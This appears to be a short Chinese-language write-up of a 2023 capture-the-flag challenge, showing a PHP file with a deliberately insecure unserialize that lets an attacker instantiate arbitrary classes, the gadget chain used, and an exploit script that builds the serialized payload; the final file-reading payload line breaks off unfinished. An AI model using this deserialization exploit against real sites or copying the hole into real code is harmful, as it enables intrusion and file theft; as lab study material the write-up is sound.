[GDOUCTF 2023]反方向的钟
code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php error_reporting(0); highlight_file(__FILE__);
class teacher{ public $name; public $rank; private $salary; public function __construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } }
class classroom{ public $name; public $leader; public function __construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } } }
class school{ public $department; public $headmaster; public function __construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $_POST['a']($_POST['b']); } } public function __wakeup(){ if($this->department->hahaha()) { $this->IPO(); } } }
if(isset($_GET['d'])){ unserialize(base64_decode($_GET['d'])); } ?>
|
POP链:school__wakeup()->classroom::hahaha()->school::IPO()
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php
class teacher{ public $name; public $rank; private $salary; public function __construct(){ $this->name = 'ing'; $this->rank = 'department';
} }
class classroom{ public $name; public $leader; public function __construct(){ $this->name = 'one class'; $this->leader = new teacher; }
}
class school{ public $department; public $headmaster; public function __construct(){
$this->department=new classroom; $this->headmaster = 'ong'; }
}
if(isset($_GET['d'])){ unserialize(base64_decode($_GET['d'])); } $a=new school; echo base64_encode(serialize($a)); ?>
new SplFileObject(php:
|
总结:CTF常见原生类用法及例题